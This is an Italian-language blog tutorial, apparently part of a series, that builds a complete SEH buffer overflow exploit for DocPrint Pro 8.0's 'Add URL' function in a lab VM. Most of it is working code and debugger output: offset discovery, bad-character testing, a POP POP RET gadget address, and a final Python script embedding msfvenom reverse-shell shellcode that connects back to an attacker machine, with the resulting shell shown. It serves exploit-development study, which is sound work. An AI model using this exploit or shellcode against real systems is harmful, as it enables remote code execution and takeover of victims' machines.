SEH Overflow IV - DocPrint Pro 8.0

Tempo di lettura: 15 minuti
Data pubblicazione: October 31, 2022

Introduzione

Quarto articolo della serie SEH Buffer Overflow, target: DocPrint Pro 8.0, exploit.

Altri post in questa serie: 5. SEH Overflow I - Vulnserver GMON 5. SEH Overflow II - EFS Easy Chat Server 3.1 5. SEH Overflow III - Easy File Sharing Web Server 7.2 5. SEH Overflow IV - DocPrint Pro 8.0

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

DocPrint

DocPrint Pro 8.0 è un programma utilizzato per convertire file in altri formati. La funzione vulnerabile è File –> Add URL ed è solo locale.

Crash Iniziale

Sapendo che il server è vulnerabile a Buffer Overflow, andiamo a creare un primo script che lo manderà in crash.

#!/usr/bin/python 

file = "file.txt"
f = open(file , "w")

CRASH_LEN = 10000  # change me

junk = "A" * CRASH_LEN
f.write(junk)
f.close()

Controllo l’exchain e vedo che è stata sovrascritta con il mio buffer.

Divido in due il payload per capire dove sono più vicino cosi che possa generare un pattern non troppo grande (Visto che ogni volta devo aprire il file, uso una libreria per copiare direttamente sulla clipboard)

#!/usr/bin/python 
import pyperclip

#file = "file.txt"
#f = open(file , "w")

CRASH_LEN = 10000  # change me

payload = "A" * 5000
payload += "B" * 5000

pyperclip.copy(payload)
#f.write(payload)
#f.close()

Ora sappiamo che si trova nella prima metà.

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 5000

Riavvio DocPrint e aggiorno lo script inserendo il pattern

#!/usr/bin/python 
import pyperclip

#file = "file.txt"
#f = open(file , "w")

CRASH_LEN = 10000  # change me

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8…"
payload += "B" * 5000

pyperclip.copy(payload)
#f.write(payload)
#f.close()

Cerco i pattern ciclici

0:000> !exchain
0014ef70: 7a45337a
Invalid exception stack at 45327a45

0:000> !py mona po 45327a45
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 45327a45
Looking for Ez2E in pattern of 500000 bytes
- Pattern Ez2E (0x45327a45) found in cyclic pattern at position 3876
Looking for Ez2E in pattern of 500000 bytes
…
[+] This mona.py action took 0:00:00.219000

0:000> !py mona po 7a45337a
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 7a45337a
Looking for z3Ez in pattern of 500000 bytes
- Pattern z3Ez (0x7a45337a) found in cyclic pattern at position 3880
Looking for z3Ez in pattern of 500000 bytes
…

Quindi l’offset è 3876. Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere SEH con 4 C e NSEH con 4 B.

#!/usr/bin/python 
import pyperclip

CRASH_LEN = 10000  # change me
OFFSET = 3876

payload = "A" * OFFSET
payload += "B" * 4 # NSEH
payload += "C" * 4 # SEH
payload += "D" * (CRASH_LEN - len(payload))

pyperclip.copy(payload)

Ed ecco che l’exchain è sovrascritta con i nostri caratteri.

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Poiché devo avere caratteri “stampabili” tutti quelli da \x00 a \x10 sono da eliminare.

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 a \x10 poiché non potevo copiarli sulla clipboard)

#!/usr/bin/python 

file = "file.txt"
f = open(file , "wb")

CRASH_LEN = 10000  # change me
OFFSET = 3876


#bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars = b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = b"A" * OFFSET
payload += b"B" * 4 # NSEH
payload += b"C" * 4 # SEH
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Ottimo, nessun altro carattere sembra essere un bad char (mi sono accorto poi che ho eliminato fino a \x20, ma dovrebbe essere fino a \x09)

0:000> !exchain
0014ef70: 43434343
Invalid exception stack at 42424242

0:000> !teb
TEB at 0037f000
    ExceptionList:        0014ef70
    StackBase:            00150000
    StackLimit:           00149000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 0037f000
    EnvironmentPointer:   00000000
    ClientId:             00001590 . 0000105c
    RpcHandle:            00000000
    Tls Storage:          004885c8
    PEB Address:          0037e000
    LastErrorValue:       3
    LastStatusValue:      c0000034
    Count Owned Locks:    0
    HardErrorMode:        0

0:000> db 0014ef70 L100
0014ef70  42 42 42 42 43 43 43 43-21 22 23 24 25 26 27 28  BBBBCCCC!"#$%&'(
0014ef80  29 2a 2b 2c 2d 2e 2f 30-31 32 33 34 35 36 37 38  )*+,-./012345678
0014ef90  39 3a 3b 3c 3d 3e 3f 40-41 42 43 44 45 46 47 48  9:;<=>?@ABCDEFGH
0014efa0  49 4a 4b 4c 4d 4e 4f 50-51 52 53 54 55 56 57 58  IJKLMNOPQRSTUVWX
0014efb0  59 5a 5b 5c 5d 5e 5f 60-61 62 63 64 65 66 67 68  YZ[\]^_`abcdefgh
0014efc0  69 6a 6b 6c 6d 6e 6f 70-71 72 73 74 75 76 77 78  ijklmnopqrstuvwx
0014efd0  79 7a 7b 7c 7d 7e 7f 80-81 82 83 84 85 86 87 88  yz{|}~..........
0014efe0  89 8a 8b 8c 8d 8e 8f 90-91 92 93 94 95 96 97 98  ................
0014eff0  99 9a 9b 9c 9d 9e 9f a0-a1 a2 a3 a4 a5 a6 a7 a8  ................
0014f000  a9 aa ab ac ad ae af b0-b1 b2 b3 b4 b5 b6 b7 b8  ................
0014f010  b9 ba bb bc bd be bf c0-c1 c2 c3 c4 c5 c6 c7 c8  ................
0014f020  c9 ca cb cc cd ce cf d0-d1 d2 d3 d4 d5 d6 d7 d8  ................
0014f030  d9 da db dc dd de df e0-e1 e2 e3 e4 e5 e6 e7 e8  ................
0014f040  e9 ea eb ec ed ee ef f0-f1 f2 f3 f4 f5 f6 f7 f8  ................
0014f050  f9 fa fb fc fd fe ff 44-44 44 44 44 44 44 44 44  .......DDDDDDDDD
0014f060  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

POP POP RET

L’obiettivo ora è di trovare un POP POP RET in modo tale da far puntare EIP al nostro Next SEH e redirezionare il flusso. Cerco quindi con mona nei moduli dell’eseguibile

0:000> !py mona seh -cpb '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh -cpb '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'

---------- Mona command started on 2022-09-16 20:16:21 (v2.0, rev 616) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Bad char filter will be applied to pointers : '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' 
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 2 modules
    - Querying module doc2pdf_win.exe
    - Querying module reg.dll
[+] Setting pointer access level criteria to 'R', to increase search results
    New pointer access level : R
[+] Preparing output file 'seh.txt'
    - Creating working folder c:\monalogs\doc2pdf_win_8116
    - Folder created
    - (Re)setting logfile c:\monalogs\doc2pdf_win_8116\seh.txt
    Found a total of 0 pointers

Non ne trova nessuno. Faccio qualche prova e scopro che \x01 in realtà è un ascii printable, quindi lo elimino dai bad char

0:000> !py mona seh -cpb '\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh -cpb '\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'

---------- Mona command started on 2022-09-16 20:16:33 (v2.0, rev 616) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Bad char filter will be applied to pointers : '\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' 
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 2 modules
    - Querying module doc2pdf_win.exe
    - Querying module reg.dll
[+] Setting pointer access level criteria to 'R', to increase search results
    New pointer access level : R
[+] Preparing output file 'seh.txt'
    - (Re)setting logfile c:\monalogs\doc2pdf_win_8116\seh.txt
[+] Writing results to c:\monalogs\doc2pdf_win_8116\seh.txt
    - Number of pointers of type 'pop ebp # pop ebx # ret ' : 1 
    - Number of pointers of type 'pop esi # pop ebx # ret ' : 2 
    - Number of pointers of type 'pop esi # pop ebx # ret 0x04' : 1 
[+] Results : 
0x10011874 |   0x10011874 : pop ebp # pop ebx # ret  | ascii {PAGE_EXECUTE_READ} [reg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1 (C:\Program Files\docPrint Pro v8.0\reg.dll)
0x10011049 |   0x10011049 : pop esi # pop ebx # ret  | ascii {PAGE_EXECUTE_READ} [reg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1 (C:\Program Files\docPrint Pro v8.0\reg.dll)
0x10011564 |   0x10011564 : pop esi # pop ebx # ret  | ascii {PAGE_EXECUTE_READ} [reg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1 (C:\Program Files\docPrint Pro v8.0\reg.dll)
0x100110b7 |   0x100110b7 : pop esi # pop ebx # ret 0x04 |  {PAGE_EXECUTE_READ} [reg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1 (C:\Program Files\docPrint Pro v8.0\reg.dll)
    Found a total of 4 pointers

Nessuno ha protezioni, quindi scelgo 0x10011564 , lo inserisco insieme al jump back di 8 ed eseguo mettendo un brealpoint sul PPR.

#!/usr/bin/python 
import struct

file = "file.txt"
f = open(file , "wb")

CRASH_LEN = 10000  # change me
OFFSET = 3876


#\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0"

payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # short jump 8
payload += struct.pack("<I",0x10011564 ) # PPR
payload += b"D" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Proseguo passo passo per vedere se c’è lo spazio per lo shellcode.

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10011564 edx=77115b10 esi=00000000 edi=00000000
eip=10011564 esp=0014d9c0 ebp=0014d9e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
reg!Ordinal3+0xef94:
10011564 5e              pop     esi
0:000> p
eax=00000000 ebx=00000000 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=10011565 esp=0014d9c4 ebp=0014d9e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
reg!Ordinal3+0xef95:
10011565 5b              pop     ebx
0:000> p
eax=00000000 ebx=0014dac0 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=10011566 esp=0014d9c8 ebp=0014d9e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
reg!Ordinal3+0xef96:
10011566 c3              ret
0:000> p
eax=00000000 ebx=0014dac0 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=0014ef70 esp=0014d9cc ebp=0014d9e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
0014ef70 90              nop
0:000> p
eax=00000000 ebx=0014dac0 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=0014ef71 esp=0014d9cc ebp=0014d9e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
0014ef71 90              nop
0:000> p
eax=00000000 ebx=0014dac0 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=0014ef72 esp=0014d9cc ebp=0014d9e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
0014ef72 eb06            jmp     0014ef7a
0:000> db 0014ef7a
0014ef7a  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0014ef8a  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0014ef9a  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0014efaa  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0014efba  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0014efca  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0014efda  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0014efea  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

Sembra ci sia tutto lo spazio che ci serve, proviamo ad inserire lo shellcode.

Inserimento dello shellcode

Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C.

Il codice finale sarà

#!/usr/bin/python 
import struct

file = "file.txt"
f = open(file , "wb")

CRASH_LEN = 10000  # change me
OFFSET = 3876
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' EXITFUNC=thread
shellcode =  b""
shellcode += b"\x6a\x51\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81"
shellcode += b"\x73\x13\xbc\x93\x25\x97\x83\xeb\xfc\xe2\xf4"
shellcode += b"\x40\x7b\xa7\x97\xbc\x93\x45\x1e\x59\xa2\xe5"
shellcode += b"\xf3\x37\xc3\x15\x1c\xee\x9f\xae\xc5\xa8\x18"
shellcode += b"\x57\xbf\xb3\x24\x6f\xb1\x8d\x6c\x89\xab\xdd"
shellcode += b"\xef\x27\xbb\x9c\x52\xea\x9a\xbd\x54\xc7\x65"
shellcode += b"\xee\xc4\xae\xc5\xac\x18\x6f\xab\x37\xdf\x34"
shellcode += b"\xef\x5f\xdb\x24\x46\xed\x18\x7c\xb7\xbd\x40"
shellcode += b"\xae\xde\xa4\x70\x1f\xde\x37\xa7\xae\x96\x6a"
shellcode += b"\xa2\xda\x3b\x7d\x5c\x28\x96\x7b\xab\xc5\xe2"
shellcode += b"\x4a\x90\x58\x6f\x87\xee\x01\xe2\x58\xcb\xae"
shellcode += b"\xcf\x98\x92\xf6\xf1\x37\x9f\x6e\x1c\xe4\x8f"
shellcode += b"\x24\x44\x37\x97\xae\x96\x6c\x1a\x61\xb3\x98"
shellcode += b"\xc8\x7e\xf6\xe5\xc9\x74\x68\x5c\xcc\x7a\xcd"
shellcode += b"\x37\x81\xce\x1a\xe1\xfb\x16\xa5\xbc\x93\x4d"
shellcode += b"\xe0\xcf\xa1\x7a\xc3\xd4\xdf\x52\xb1\xbb\x6c"
shellcode += b"\xf0\x2f\x2c\x92\x25\x97\x95\x57\x71\xc7\xd4"
shellcode += b"\xba\xa5\xfc\xbc\x6c\xf0\xc7\xec\xc3\x75\xd7"
shellcode += b"\xec\xd3\x75\xff\x56\x9c\xfa\x77\x43\x46\xb2"
shellcode += b"\xfd\xb9\xfb\xe5\x3f\xbd\xaf\x4d\x95\xbc\x89"
shellcode += b"\xa0\x1e\x5a\xf9\x35\xc1\xeb\xfb\xbc\x32\xc8"
shellcode += b"\xf2\xda\x42\x39\x53\x51\x9b\x43\xdd\x2d\xe2"
shellcode += b"\x50\xfb\xd5\x22\x1e\xc5\xda\x42\xd4\xf0\x48"
shellcode += b"\xf3\xbc\x1a\xc6\xc0\xeb\xc4\x14\x61\xd6\x81"
shellcode += b"\x7c\xc1\x5e\x6e\x43\x50\xf8\xb7\x19\x96\xbd"
shellcode += b"\x1e\x61\xb3\xac\x55\x25\xd3\xe8\xc3\x73\xc1"
shellcode += b"\xea\xd5\x73\xd9\xea\xc5\x76\xc1\xd4\xea\xe9"
shellcode += b"\xa8\x3a\x6c\xf0\x1e\x5c\xdd\x73\xd1\x43\xa3"
shellcode += b"\x4d\x9f\x3b\x8e\x45\x68\x69\x28\xc5\x8a\x96"
shellcode += b"\x99\x4d\x31\x29\x2e\xb8\x68\x69\xaf\x23\xeb"
shellcode += b"\xb6\x13\xde\x77\xc9\x96\x9e\xd0\xaf\xe1\x4a"
shellcode += b"\xfd\xbc\xc0\xda\x42"

#\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"

payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # host jump
payload += struct.pack("<I",0x10011564 ) # PPR
payload += b"\x90" * 10
payload += shellcode
payload += b"D" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Ed ecco che sulla kali riceviamo la reverse shell

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 32127
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
desktop-p7jng2j\user

C:\Windows\system32>

Conclusioni

Rispetto al primo articolo sul SEH è stato un esercizio molto più semplice, ma che ci permette di capire bene il funzionamento del SEH. Di seguito alcuni approfondimenti:

  1. Exploit writing tutorial part 3 : SEH Based Exploits
  2. OSCE Exam Practice - Part III (GMON via SEH Overwrite w/ Egg Hunter)
  3. SEH Based Buffer Overflow
  4. FuzzySecurity part 3: Structured Exception Handler (SEH)